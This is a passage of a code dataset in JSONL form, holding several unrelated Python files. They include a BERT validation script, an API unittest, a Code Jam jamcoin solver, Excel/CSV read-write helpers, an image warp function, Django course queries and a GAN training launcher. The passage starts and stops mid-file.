print(\"saved in \",new_fname)\n if hasTarget:\n self.F_1Score(file_name,new_fname)\n\n def F_1Score(self,gold_fname,pred_fname):\n eval_labels=[\"0\",\"1\"]\n report=task_1_eval_main(gold_fname, pred_fname, eval_labels)\n print(report)\n\n\n\nif __name__ == '__main__':\n model_name=\"checkpoints/Model2/checkpoint24.pt\"\n tokenizer=BertTokenizer.from_pretrained('bert-base-uncased')\n device='cuda:2'\n v=validation(model_name,tokenizer,device)\n # v.append_fname(\"../Task_1/Data/train_and_dev/task_1/dev/task_1_t1_biology_0_303.deft\")\n # v.append_dir(\"/Task_1/Data/train_and_dev/task_1/dev\")\n v.append_dir(\"Task_1/Data/test/subtask_1\")\n # v.generate(save_dir=\"../valid\",hasTarget=True)\n v.generate(save_dir=\"./valid\",hasTarget=False)","repo_name":"ssxy00/AdvancedNLP","sub_path":"SC/valid.py","file_name":"valid.py","file_ext":"py","file_size_in_byte":3388,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40849211857","text":"url = 'http://bg-etender-ser:8080/tenderservices/api/signin'\nurl = 'http://bg-etender-ser:8080/tenderservices/api/project'\nurl = 'http://bg-etender-ser:8080/tenderservices/api/project/projectID'\nurl = 'http://bg-etender-ser:8080/tenderservices/api/tender'\nurl = 'http://bg-etender-ser:8080/tenderservices/api/tender/tenderID/notify/reopentender'\n\n\nimport requests\nimport json\nimport time\nimport os\nimport sys\nimport unittest\nimport re\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nfolder_path=os.path.abspath(os.path.join(dir_path, os.pardir))\n\nsys.path.insert(0,folder_path+\"\\Library\")\nsys.path.insert(0,folder_path+\"\\Syslibrary\")\nsys.path.insert(0,folder_path+\"\\Data\")\nsys.path.insert(0,folder_path+\"\\Env\")\n\nfrom datadriver import readjson\n\nAPIDetails = readjson()\n\ntime.sleep(3)\n\nfrom Tenderserviceaccess import tenderservices\nservice = tenderservices()\n\n\nclass RESTAPIrequests(unittest.TestCase):\n def test_decorator1(function):\n def wrapper():\n starttime = time.time()\n function()\n endtime = time.time()\n print(endtime - starttime)\n return wrapper\n\n @test_decorator1\n def test_RESTAPIrequests(self):\n time.sleep(1)\n\n #registrationform_testdata = service.registrationform_testdata1()\n #print(registrationform_testdata)\n\n URI = 'https://reqres.in/api/users'\n #print(URI)\n\n Login = {\n \"name\": \"morpheus\",\n \"job\": \"leader\"\n }\n\n #headers = {'Content-type': 'application/json','Accept': 'text/plain'}\n headers = {'Content-type': 'application/json'}\n\n response = requests.post(URI,json=Login,headers=headers)\n #print(response)\n #print(response.status_code)\n jsonresponse = json.loads(response.text)\n #print(jsonresponse)\n #print(jsonresponse[\"id\"])\n test = re.findall('^[0-9]*$',jsonresponse[\"id\"])\n if test:\n print(\"ID contains only digits\")\n else:\n print(\"ID contains digits + string\")\n\n #print(jsonresponse)\n #print(response.headers) # content type,content length,server that you were requested for\n\nif __name__ == '__main__':\n unittest.main()\n\n\n\n\n\n","repo_name":"sureshkumarkadi/APITest","sub_path":"Library/RESTAPIRequeststest.py","file_name":"RESTAPIRequeststest.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23509638631","text":"import os\nimport random\nimport math\n\ndef isPrime(n):\n\tif n == 2:\n\t\treturn 1\n\tif n%2 == 0:\n\t\treturn 0\n\n\tfor i in range(3, math.ceil(n ** 0.5)):\n\t\tif n % i == 0:\n\t\t\treturn 0\n\treturn 1\n\ndef numBase(number, base):\n\tlength = len(number)\n\tnumber = str(number)\n\n\tfinal = 0\n\tfor i in range(0, length):\n\t\tfinal += int(number[i]) * (base ** (length-1-i))\n\treturn final\n\ndef findFac(num):\n\tfor i in range(2, num-1):\n\t\tif num%i == 0:\n\t\t\treturn str(i)\n\nfile_path_input = os.getcwd() + '/' + 'prob3.in'\nfile_path_output = os.getcwd() + '/' + 'prob3.out'\n\nwith open(file_path_output, 'wb') as output_data:\n\twith open(file_path_input, 'rb') as input_data:\n\t\t\tnum_cases = int(input_data.readline())\n\n\t\t\tfor i in range(num_cases):\n\t\t\t\tcurr_case = input_data.readline().decode().split()\n\t\t\t\tN = int(curr_case[0])\t\t# Number of binary digits in number\n\t\t\t\tJ = int(curr_case[1])\t\t# Number of examples required\n\n\t\t\t\toutput_data.write(('Case #' + str(i+1) + ':\\n').encode())\n\n\t\t\t\tcount = 0\n\t\t\t\tfinArr = ['NULL']*J\n\t\t\t\twhile(count != J):\t\n\t\t\t\t\tcurr_num = '1'\n\t\t\t\t\tfor j in range(N-2):\n\t\t\t\t\t\tcurr_num += str(random.randrange(0,2))\n\t\t\t\t\tcurr_num += '1'\n\n\t\t\t\t\tif curr_num not in finArr:\n\t\t\t\t\t\tansArr = [-1]*9\n\t\t\t\t\t\tfor j in range(2, 11):\n\t\t\t\t\t\t\tcurr_numBaseJ = numBase(curr_num, j)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif (not isPrime(curr_numBaseJ)):\n\t\t\t\t\t\t\t\tansArr[j-2] = curr_numBaseJ\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\tif -1 not in ansArr:\n\t\t\t\t\t\t\tfinArr[count] = curr_num\n\t\t\t\t\t\t\tcount += 1\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\toutput_data.write((curr_num + ' ').encode())\n\t\t\t\t\t\t\tfor j in range(0, 9):\n\t\t\t\t\t\t\t\toutput_data.write((findFac(ansArr[j]) + ' ').encode())\n\n\t\t\t\t\t\t\toutput_data.write('\\n'.encode())\n\t\t\t\t\t\t\tprint('COUNT:: ' + str(count))\n\n\n\tinput_data.close()\noutput_data.close()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_179/3204.py","file_name":"3204.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38572971518","text":"import codecs\nfrom keras_bert import load_trained_model_from_checkpoint, Tokenizer\nfrom keras.models import *\nfrom keras_layers import CLSOut\nimport pandas as pd\nimport os\nbert_path='bert_model/'\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\ndef get_token_dict():\n dict_path = bert_path + 'vocab.txt'\n token_dict = {}\n with codecs.open(dict_path, 'r', 'utf8') as reader:\n for line in reader:\n token = line.strip()\n token_dict[token] = len(token_dict)\n return token_dict\n\ndef get_model(seq_len):\n '''\n bert模型,模型输出为CLS位置的向量\n :param seq_len:\n :return:\n '''\n config_path=bert_path + 'bert_config.json'\n checkpoint_path=bert_path + 'bert_model.ckpt'\n bert_model = load_trained_model_from_checkpoint(config_path, checkpoint_path,seq_len=seq_len)\n x=CLSOut()(bert_model.output)\n model = Model(bert_model.inputs, x)\n return model\ndef extract(max_len=512):\n '''\n :param max_len: 文本最大长度\n :return: 字典形式,key: kb_id value: kb_id对应描述文本形成的向量\n '''\n model = get_model(max_len)\n token_dict = get_token_dict()\n tokenizer = Tokenizer(token_dict)\n id_text=pd.read_pickle('data/id_text.pkl')\n id_embedding={}\n for id in id_text:\n if int(id)%10000==0:\n print(id)\n text=id_text[id]\n indices, segments = tokenizer.encode(first=text,max_len=512)\n predicts = model.predict([[indices], [segments]], verbose=2)\n id_embedding[id]=predicts[0]\n pd.to_pickle(id_embedding,'data/id_embedding.pkl')\n\nif __name__ == '__main__':\n extract()\n pass\n","repo_name":"panchunguang/ccks_baidu_entity_link","sub_path":"code/entity_vec_extract.py","file_name":"entity_vec_extract.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":826,"dataset":"github-code","pt":"61"} +{"seq_id":"18413638008","text":"import os\nimport pandas as pd\nimport polars as pl\nimport xlwings as xw\nimport datetime\nfrom xlsx2csv import Xlsx2csv\nfrom chardet.universaldetector import UniversalDetector\n\n# 将csv转化为utf8编码\ndef encode_to_utf8(filename, des_encode):\n # 读取文件的编码方式\n with open(filename, 'rb') as f:\n detector = UniversalDetector()\n for line in f.readlines():\n detector.feed(line)\n if detector.done:\n break\n original_encode = detector.result['encoding']\n # 读取文件的内容\n with open(filename, 'rb') as f:\n file_content = f.read()\n # 修改编码\n file_decode = file_content.decode(original_encode, 'ignore')\n file_encode = file_decode.encode(des_encode)\n with open(filename, 'wb') as f:\n f.write(file_encode)\n\n\n# 通过xlwings读取表\ndef xw_open(file_path, sheetname='Sheet1', visible=False):\n # 数据类型可能推断不正确。测试时发现可以正确区分object和数据类型,但是数据类型都推断为float64不能区分int64\n app = xw.App(visible=visible,\n add_book=False)\n\n book = app.books.open(file_path)\n\n sheet = book.sheets[sheetname]\n data = sheet.used_range.options(pd.DataFrame, header=1, index=False, expand='table').value\n data = data.convert_dtypes()\n if visible == False:\n book.close()\n app.quit()\n\n return data\n\n\n# 通过xlwings写入表\ndef xw_write(df, file_path, sheetname='Sheet1', visible=False):\n # 数据类型可能推断不正确。测试时发现可以正确区分object和数据类型,但是数据类型都推断为float64不能区分int64\n app = xw.App(visible=visible,\n add_book=False)\n wb = app.books.add()\n\n if sheetname == 'Sheet1':\n sheet = wb.sheets[0]\n else:\n sheet = wb.sheets.add(sheetname, after='Sheet1')\n\n # 将dataframe写入Sheet\n sheet.range('A1').value = df\n # 保存并关闭Workbook\n wb.save(file_path)\n if visible == False:\n wb.close()\n app.quit()\n\n\n###通过xlwings追加写入\ndef xw_write_a(df, file_path, sheetname='Sheet1', cell='A1', visible=False, close=True):\n if not (os.path.exists(file_path)):\n wb = xw.Book()\n wb.save(file_path)\n\n app = xw.App(visible=visible, add_book=False)\n wb = app.books.open(file_path)\n\n sheet_names = [sht.name for sht in wb.sheets]\n if sheetname not in sheet_names:\n wb.sheets.add(sheetname, after=sheet_names[-1])\n\n sheet = wb.sheets[sheetname]\n sheet.range(cell).value = df\n wb.save()\n if close:\n wb.close()\n app.quit()\n\n##通过xlwings查看df\ndef xw_view(df):\n # 启动Excel程序,不新建工作表薄(否则在创建工作薄时会报错),这时会弹出一个excel\n app= xw.App(visible = True, add_book= False)\n # 新建一个工作簿,默认sheet为Sheet1\n wb = app.books.add()\n #将工作表赋值给sht变量\n sht = wb.sheets('Sheet1')\n sht.range('A1').value =df\n\n\n###通过pandas追加写入\ndef pd_write_a(df, file_path, sheetname='Sheet1'):\n with pd.ExcelWriter(file_path, mode=\"a\", engine=\"openpyxl\") as writer:\n df.to_excel(writer, sheet_name=sheetname)\n\n\n# xlsx转换为csv\ndef xlsxtocsv(file_path):\n file_path_csv = file_path.replace(\".xlsx\", \".csv\")\n Xlsx2csv(file_path, outputencoding=\"utf-8\").convert(file_path_csv)\n return file_path_csv\n\n\n# row_count每次读取的行数\ndef load_stream_row(file_path, row_count, col_name=None):\n name, ext = os.path.splitext(file_path)\n if '.csv' == ext:\n encode_to_utf8(file_path, des_encode=\"utf-8\")\n df_read = pd.read_csv(file_path, usecols=col_name, chunksize=row_count)\n if \".xls\" == ext:\n df_read = pd.read_excel(file_path, usecols=col_name)\n # 转化为csv再分块读\n file_path_csv = file_path.replace(\".xls\", \".csv\")\n df_read.to_csv(file_path_csv, index=False, encoding='UTF-8')\n # encode_to_utf8(file_path_csv, des_encode=\"utf-8\")\n df_read = pd.read_csv(file_path_csv, usecols=col_name, chunksize=row_count)\n if \".xlsx\" == ext:\n file_path_csv = xlsxtocsv(file_path)\n df_read = pd.read_csv(file_path_csv, usecols=col_name, chunksize=row_count)\n return df_read\n\n\n# 第一行是列名,从第二行开始读内容\ndef load_excel(file_path, sheetname='Sheet1', start_row=2, end_row=None):\n lst = []\n wb = load_workbook(filename=file_path, read_only=True)\n ws = wb[sheetname]\n max_row = ws.max_row\n # [*迭代器]方法性能高于list(迭代器)和逐行取值的方法\n row_columns = [*ws.iter_rows(min_row=1, max_row=1, values_only=True)]\n if end_row != None:\n row_data = [*ws.iter_rows(min_row=start_row, max_row=end_row, values_only=True)]\n else:\n row_data = [*ws.iter_rows(min_row=start_row, max_row=max_row, values_only=True)]\n # 将列名和数据合并\n row_columns.extend(row_data)\n df = pd.DataFrame(row_columns)\n return df\n\n\n########主函数#############################################################################################################\n\n# 自适用后缀、多引擎读取表,默认为polars\ndef load(file_path, col_name=None, sheetname='Sheet1', engine=\"polars\", read_csv_options=None):\n name, ext = os.path.splitext(file_path)\n try:\n if '.csv' == ext:\n if engine == \"polars\":\n encode_to_utf8(file_path, des_encode=\"utf-8\")\n df_read = pl.read_csv(file_path, columns=col_name)\n df_read = df_read.to_pandas()\n if engine == \"pandas\":\n encode_to_utf8(file_path, des_encode=\"utf-8\")\n df_read = pd.read_csv(file_path, usecols=col_name)\n if engine == \"xlwings\":\n # xlwings读取csv兼容性和效率都较差调用pandas读取\n encode_to_utf8(file_path, des_encode=\"utf-8\")\n df_read = pd.read_csv(file_path, usecols=col_name)\n\n if \".xlsx\" == ext:\n if engine == \"polars\":\n df_read = pl.read_excel(file_path,\n read_csv_options=read_csv_options,\n sheet_name=sheetname)\n # 删除所有空行\n df_read = df_read.filter(~pl.all(pl.all().is_null()))\n df_read = df_read[[s.name for s in df_read if not (s.null_count() == df_read.height)]]\n df_read = df_read.to_pandas()\n if engine == \"pandas\":\n df_read = pd.read_excel(file_path, usecols=col_name, sheet_name=sheetname)\n if engine == \"xlwings\":\n df_read = xw_open(file_path, sheetname=sheetname, visible=False)\n\n if \".xls\" == ext:\n if engine == \"polars\":\n # polars不能读xls格式,调用pandas解决\n df_read = pd.read_excel(file_path, usecols=col_name, sheet_name=sheetname)\n if engine == \"pandas\":\n df_read = pd.read_excel(file_path, usecols=col_name, sheet_name=sheetname)\n if engine == \"xlwings\":\n df_read = xw_open(file_path, sheetname=sheetname, visible=False)\n\n if \".pkl\" == ext:\n df_read = pd.read_pickle(file_path)\n\n except Exception as e:\n if '.csv' == ext:\n encode_to_utf8(file_path, des_encode=\"utf-8\")\n df_read = pd.read_csv(file_path, usecols=col_name)\n\n if \".xlsx\" == ext:\n df_read = pd.read_excel(file_path, usecols=col_name, sheet_name=sheetname)\n\n print(f\"读取文件发生错误:{e}\")\n print(\n f'已自动切换兼容性更好的pandas引擎。下次读取该文件可以手动选择pandas引擎,语法为load(file_path,engine=\"pandas\"),对于大文件尝试使用engine=\"xlwings\"。')\n\n return df_read\n\n\n# 自适应后缀、多引擎写入表,默认为polars,带有追加写入功能\ndef dump(df, file_path, mode=None, sheetname='Sheet1', time=False, engine=\"polars\", cell='A1', visible=False,\n close=True):\n name, ext = os.path.splitext(file_path)\n if time:\n timestamp = datetime.datetime.now().strftime(\"%y%m%d_%H%M\")\n \"\"\" \n strftime=\"%y%m%d%H%M\" 2位数年份 2306010101 Y大写则为4位数年份\n strftime=\"%m%d%H%M%S\" 添加秒的信息 H M S时分秒 不能换为小写字母\n\n \"\"\"\n base_path, ext_path = os.path.splitext(file_path)\n file_path_with_time = f\"{base_path}-{timestamp}{ext}\"\n file_path = file_path_with_time\n try:\n if mode == None:\n if '.csv' == ext:\n if engine == \"polars\":\n df = pl.from_pandas(df)\n df.write_csv(file_path, separator=\",\")\n if engine == \"pandas\":\n df.to_csv(file_path, index=False)\n if engine == \"xlwings\":\n # xlwings不能写入csv,调用pandas写入\n df.to_csv(file_path, index=False)\n\n if \".xlsx\" == ext:\n if engine == \"polars\":\n df = pl.from_pandas(df)\n df.write_excel(file_path, worksheet=sheetname)\n if engine == \"pandas\":\n df.to_excel(file_path, index=False, sheet_name=sheetname)\n if engine == \"xlwings\":\n xw_write(df, file_path, sheetname=sheetname, visible=False)\n\n if \".xls\" == ext:\n if engine == \"polars\":\n df.to_excel(file_path, index=False, sheet_name=sheetname)\n if engine == \"pandas\":\n df.to_excel(file_path, index=False, sheet_name=sheetname)\n if engine == \"xlwings\":\n xw_write(df, file_path, sheetname=sheetname, visible=False)\n\n if \".pkl\" == ext:\n df.to_pickle(file_path)\n if mode == \"a\":\n if '.csv' == ext:\n df.to_csv(file_path, index=False, mode='a')\n\n if \".xlsx\" == ext:\n if engine == \"polars\":\n pd_write_a(df, file_path, sheetname=sheetname)\n if engine == \"pandas\":\n pd_write_a(df, file_path, sheetname=sheetname)\n if engine == \"xlwings\":\n xw_write_a(df, file_path, sheetname=sheetname, cell=cell, visible=False, close=True)\n\n if \".xls\" == ext:\n if engine == \"polars\":\n pd_write_a(df, file_path, sheetname=sheetname)\n if engine == \"pandas\":\n pd_write_a(df, file_path, sheetname=sheetname)\n if engine == \"xlwings\":\n xw_write_a(df, file_path, sheetname=sheetname, cell=cell, visible=False, close=True)\n\n except Exception as e:\n if '.csv' == ext:\n df.to_csv(file_path, index=False)\n\n if \".xlsx\" == ext:\n df.to_excel(file_path, index=False, sheet_name=sheetname)\n\n print(f\"写入文件发生错误:{e}\")\n print(\n f'已自动切换兼容性更好的pandas引擎。下次写入该文件可以手动选择pandas引擎,语法为dump(file_path,engine=\"pandas\"),对于大文件尝试使用engine=\"xlwings\"。')\n\n##通过excel查看数据,输入参数f既可以是文件路径也可以是DataFrame\ndef view(f):\n if type(f)==str:\n xw_open(f, sheetname='Sheet1', visible=True)\n else:\n xw_view(f)\n","repo_name":"stormtozero/pandasrw","sub_path":"pandasrw.py","file_name":"pandasrw.py","file_ext":"py","file_size_in_byte":11439,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"61"} +{"seq_id":"27706363994","text":"import numpy as np\nimport random\nfrom matplotlib import pyplot as plt\nimport time\nimport typing\n\n\ndef myWarpPerspective(srcMat: np.ndarray, homoMat: np.ndarray,\n dstSize: typing.Tuple[int, int]):\n \"\"\"\n my implementation of cv2.warpPerspective Function\n :param srcMat: source image matrix.\n :param homoMat: homography matrix.\n :param dstSize: target size of the output matrix. **Attention: the size of the matrix is the transpose of the image size.**\n :returm dstMat: transformed image matrix.\n \"\"\"\n srcShape = srcMat.shape\n # if len(srcShape) != 2:\n # raise Exception(\"Input Image is not a gray image.\")\n srcH, srcW = srcShape[0], srcShape[1]\n dstH, dstW = dstSize[0], dstSize[1]\n dstShape = np.array(srcShape)\n dstShape[0], dstShape[1] = dstH, dstW\n if dstH < srcH or dstW < srcW: # if the output image size is smaller than the input image size, then return original\n return srcMat\n dst = np.zeros(dstShape, np.uint8) #创建一张空白的图,尺寸和目标尺寸相同\n invHomoMat = np.linalg.inv(homoMat)\n # Using matrix multiplication to move pixels from srcMat to dst\n # no cv2.warpPerspective is allowed here.\n for y in range(dstSize[0]):\n for x in range(dstSize[1]):\n #从dst向src进行定位\n srcPixel = np.dot(invHomoMat, np.array([x, y, 1]))\n srcX, srcY = srcPixel[0] / srcPixel[2], srcPixel[1] / srcPixel[2]\n if srcX < 0 or srcX >= srcW or srcY < 0 or srcY >= srcH:\n continue\n #双线性插值\n x1, y1 = int(srcX), int(srcY)\n x2, y2 = x1 + 1, y1 + 1\n fx, fy = srcX - x1, srcY - y1\n p1 = srcMat[y1, x1]\n p2 = srcMat[y2, x1] if y2 < srcH else p1\n p3 = srcMat[y1, x2] if x2 < srcW else p1\n p4 = srcMat[\n y2,\n x2] if y2 < srcH and x2 < srcW else p2 if y2 < srcH else p3 if x2 < srcW else p1\n dst[y, x] = (1 - fy) * ((1 - fx) * p1 + fx * p3) + fy * (\n (1 - fx) * p2 + fx * p4)\n return dst","repo_name":"hjl18/Global_splicing","sub_path":"Code/my_Warp.py","file_name":"my_Warp.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"28631826342","text":"import re\nfrom crawler.models import *\nimport numpy as np\nfrom django.db.models import Q\nfrom .decorator import run_once\nimport editdistance\n\n\ndef expand_title(title):\n q = Q()\n for c in title:\n q &= Q(title__contains=c)\n return q\n\n\ndef course_attr_blank(c):\n return not (c.title and c.instructor and c.schedule_str and c.classroom)\n\n\ndef course_equal(c1, c2):\n return c1.title == c2.title and c1.instructor == c2.instructor and c1.designated_for == c2.designated_for and c2.schedule_str[0] == c1.schedule_str[0]\n\n\n@run_once\ndef init_unique_course():\n # Remove redundant courses (same attr but different dept.)\n global unique_courses\n unique_courses = Course.objects.none()\n for c1 in Course.objects.filter(semester='105-2'):\n if not course_attr_blank(c1) and not any([course_equal(c1, c2) for c2 in unique_courses]):\n unique_courses._result_cache.append(c1)\n\n unique_courses = Course.objects.filter(id__in=[course.id for course in unique_courses])\n print('[Info] %d unique courses initiated.' % unique_courses.count())\n\n\ndef query_course(constraints):\n \"\"\"Return list of Course objects\n \"\"\"\n init_unique_course()\n # Transform slot to query terms.\n query_term = {}\n for k, v in constraints.items():\n ## alias ##\n if k == 'designated_for':\n if '資工' in v:\n v = v.replace('資工', '資訊')\n ###########\n if k == 'when':\n query_term['schedule_str__contains'] = v[-1]\n elif k == 'title':\n pass\n else:\n query_term[k + '__contains'] = v\n\n # Generate corresponding response to each intent.\n courses = unique_courses.filter(**query_term).filter(expand_title(constraints.get('title', '')))\n #courses = Course.objects.filter(**query_term).filter(expand_title(constraints.get('title', '')))\n\n if courses.count() < 100 and 'title' in constraints:\n # Re-order queryset by edit distance.\n ordered_courses = sorted(courses, key=lambda x: editdistance.eval(x.title, constraints['title']))\n pk_list = [course.pk for course in ordered_courses if re.search(\".*\".join(constraints['title']), course.title)]\n clauses = ' '.join(['WHEN id=%s THEN %s' % (pk, i) for i, pk in enumerate(pk_list)])\n ordering = 'CASE %s END' % clauses\n if pk_list:\n courses = Course.objects.filter(pk__in=pk_list).extra(select={'ordering': ordering}, order_by=('ordering',))\n else:\n courses = Course.objects.none()\n return courses\n\n\ndef query_review(constraints):\n if not constraints:\n return Review.objects.none()\n query = Q()\n for k, v in constraints.items():\n query &= expand_title(v)\n\n return Review.objects.filter(query)\n","repo_name":"henryyang42/NTU-Course-Bot","sub_path":"utils/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":2776,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"26776500940","text":"\n\n\nimport hydra\nimport os\nimport re\nimport glob\nimport torch\nimport dnnlib\n\nfrom omegaconf import DictConfig, OmegaConf\nfrom metrics import metric_main\nfrom torch_utils import custom_ops, distributed_utils\nfrom training import training_loop_step2\n\nclass UserError(Exception):\n pass\n\ndef setup_training_loop_kwargs(cfg):\n args = OmegaConf.create({})\n\n # ------------------------------------------ #\n # General options: gpus, snap, metrics, seed #\n # ------------------------------------------ #\n args.rank = 0\n args.gpu = 0\n args.num_gpus = torch.cuda.device_count() if cfg.gpus is None else cfg.gpus\n args.nodes = cfg.nodes if cfg.nodes is not None else 1\n args.world_size = 1\n\n args.dist_url = 'env://'\n args.launcher = cfg.launcher\n args.partition = cfg.partition\n args.comment = cfg.comment\n args.timeout = 4320 if cfg.timeout is None else cfg.timeout\n args.job_dir = ''\n\n if cfg.snap is None:\n cfg.snap = 50\n assert isinstance(cfg.snap, int)\n if cfg.snap < 1: raise UserError('snap must be at least 1')\n\n args.image_snapshot_ticks = cfg.imgsnap\n args.network_snapshot_ticks = cfg.snap\n\n if hasattr(cfg, 'ucp'):\n args.update_cam_prior_ticks = cfg.ucp\n\n if cfg.metrics is None:\n cfg.metrics = ['fid50k_full']\n cfg.metrics = list(cfg.metrics)\n if not all(metric_main.is_valid_metric(metric) for metric in cfg.metrics):\n raise UserError('\\n'.join(['metrics can only contain the following values:'] + metric_main.list_valid_metrics()))\n args.metrics = cfg.metrics\n\n if cfg.seed is None:\n cfg.seed = 0\n assert isinstance(cfg.seed, int)\n args.random_seed = cfg.seed\n\n # ----------------------------------- #\n # Dataset: data, cond, subset, mirror #\n # ----------------------------------- #\n assert cfg.data is not None\n assert isinstance(cfg.data, str)\n args.update({\"training_set_kwargs\": dict(class_name='training.dataset.ImageFolderDataset', path=cfg.data, resolution=cfg.resolution, use_labels=True, max_size=None, xflip=False)})\n args.update({\"data_loader_kwargs\": dict(pin_memory=True, num_workers=3, prefetch_factor=2)})\n try:\n training_set = dnnlib.util.construct_class_by_name(**args.training_set_kwargs) # subclass of training.dataset.Dataset\n args.training_set_kwargs.resolution = training_set.resolution # be explicit about resolution\n args.training_set_kwargs.use_labels = training_set.has_labels # be explicit about labels\n args.training_set_kwargs.max_size = len(training_set) # be explicit about dataset size\n desc = training_set.name\n del training_set # conserve memory\n except IOError as err:\n raise UserError(f'data: {err}')\n\n if cfg.cond is None:\n cfg.cond = False\n assert isinstance(cfg.cond, bool)\n if cfg.cond:\n desc += 'cond'\n args.label_dim = cfg.label_dim\n\n if cfg.subset is not None:\n assert isinstance(cfg.subset, int)\n if not 1 <= cfg.subset <= args.training_set_kwargs.max_size:\n raise UserError(f'subset must be between 1 and {args.training_set_kwargs.max_size}')\n desc += f'-subset{cfg.subset}'\n if cfg.subset < args.training_set_kwargs.max_size:\n args.training_set_kwargs.max_size = cfg.subset\n args.training_set_kwargs.random_seed = args.random_seed\n\n if cfg.mirror is None:\n cfg.mirror = False\n assert isinstance(cfg.mirror, bool)\n if cfg.mirror:\n desc += '-mirror'\n args.training_set_kwargs.xflip = True\n\n\n # ------------------------------------------- #\n # Base config: cfg, model, gamma, kimg, batch #\n # ------------------------------------------- #\n if cfg.auto:\n cfg.spec.name = 'auto'\n desc += f'-{cfg.spec.name}'\n desc += f'-{cfg.model.name}'\n if cfg.spec.name == 'auto':\n for i in range(2):\n res = args.training_set_kwargs[i].resolution\n cfg.spec.fmaps = 1 if res >= 512 else 0.5\n cfg.spec.lrate = 0.002 if res >= 1024 else 0.0025\n cfg.spec.gamma = 0.0002 * (res ** 2) / cfg.spec.mb # heuristic formula\n cfg.spec.ema = cfg.spec.mb * 10 / 32\n\n if getattr(cfg.spec, 'lrate_disc', None) is None:\n cfg.spec.lrate_disc = cfg.spec.lrate # use the same learning rate for discriminator\n\n # model (generator, discriminator)\n args.update({\"G_kwargs\": dict(**cfg.model.G_kwargs)})\n args.update({\"D_kwargs\": dict(**cfg.model.D_kwargs)})\n args.update({\"Adapted_kwargs\": dict(**cfg.model.Adapted_kwargs)})\n args.update({\"CCPL_kwargs\": dict(**cfg.model.CCPL_kwargs)})\n args.update({\"Adapted_opt_kwargs\": dict(class_name='torch.optim.Adam', lr=cfg.spec.lrate_adapted, betas=[cfg.spec.beta1, 0.990])})\n args.update({\"loss_kwargs\": dict(class_name='training.loss.AdaptedLoss', r1_gamma=cfg.spec.gamma, **cfg.model.loss_kwargs)})\n\n if cfg.spec.name == 'cifar':\n args.loss_kwargs.pl_weight = 0 # disable path length regularization\n args.loss_kwargs.style_mixing_prob = 0 # disable style mixing\n args.D_kwargs.architecture = 'orig' # disable residual skip connections\n\n # kimg data config\n args.spec = cfg.spec # just keep the dict.\n args.total_kimg = cfg.spec.kimg\n args.batch_size = cfg.spec.mb\n args.batch_gpu = cfg.spec.mbstd\n args.ema_kimg = cfg.spec.ema\n args.ema_rampup = cfg.spec.ramp\n\n # --------------------------------------------------- #\n # Discriminator augmentation: aug, p, target, augpipe #\n # --------------------------------------------------- #\n if cfg.aug is None:\n cfg.aug = 'ada'\n else:\n assert isinstance(cfg.aug, str)\n desc += f'-{cfg.aug}'\n\n # ---------------------------------- #\n # Transfer learning: resume, freezed #\n # ---------------------------------- #\n resume_specs = {\n '': '',\n }\n\n assert cfg.resume is not None and isinstance(cfg.resume, str) # step2 must use pretrained module trained by step1\n if cfg.resume is None:\n cfg.resume = 'noresume'\n elif cfg.resume == 'noresume':\n desc += '-noresume'\n elif cfg.resume in resume_specs:\n desc += f'-resume{cfg.resume}'\n args.resume_pkl = resume_specs[cfg.resume] # predefined url\n else:\n desc += '-resumecustom'\n args.resume_pkl = cfg.resume # custom path or url\n\n args.vgg_pretrained = cfg.vgg # vgg pretrained model\n\n if cfg.freezed is not None:\n assert isinstance(cfg.freezed, int)\n if not cfg.freezed >= 0:\n raise UserError('--freezed must be non-negative')\n desc += f'-freezed{cfg.freezed:d}'\n args.D_kwargs.block_kwargs.freeze_layers = cfg.freezed\n\n # ------------------------------------------------- #\n # Performance options: fp32, nhwc, nobench, workers #\n # ------------------------------------------------- #\n args.num_fp16_res = cfg.num_fp16_res\n if cfg.fp32 is None:\n cfg.fp32 = False\n assert isinstance(cfg.fp32, bool)\n if cfg.fp32:\n args.G_kwargs.synthesis_kwargs.num_fp16_res = args.D_kwargs.num_fp16_res = 0\n args.G_kwargs.synthesis_kwargs.conv_clamp = args.D_kwargs.conv_clamp = None\n\n if cfg.nhwc is None:\n cfg.nhwc = False\n assert isinstance(cfg.nhwc, bool)\n if cfg.nhwc:\n args.G_kwargs.synthesis_kwargs.fp16_channels_last = args.D_kwargs.block_kwargs.fp16_channels_last = True\n\n if cfg.nobench is None:\n cfg.nobench = False\n assert isinstance(cfg.nobench, bool)\n if cfg.nobench:\n args.cudnn_benchmark = False\n\n if cfg.allow_tf32 is None:\n cfg.allow_tf32 = False\n assert isinstance(cfg.allow_tf32, bool)\n args.allow_tf32 = cfg.allow_tf32\n\n if cfg.workers is not None:\n assert isinstance(cfg.workers, int)\n if not cfg.workers >= 1:\n raise UserError('--workers must be at least 1')\n args.data_loader_kwargs.num_workers = cfg.workers\n\n args.debug = cfg.debug\n if getattr(cfg, \"prefix\", None) is not None:\n desc = cfg.prefix + '-' + desc\n return desc, args\n\n\ndef subprocess_fn(rank, args):\n if not args.debug:\n dnnlib.util.Logger(file_name=os.path.join(args.run_dir, 'log.txt'), file_mode='a', should_flush=True)\n\n # Init torch.distributed.\n distributed_utils.init_distributed_mode(rank, args)\n if args.rank != 0:\n custom_ops.verbosity = 'none'\n\n # Execute training loop.\n training_loop_step2.training_loop(**args)\n\n@hydra.main(config_path=\"conf\", 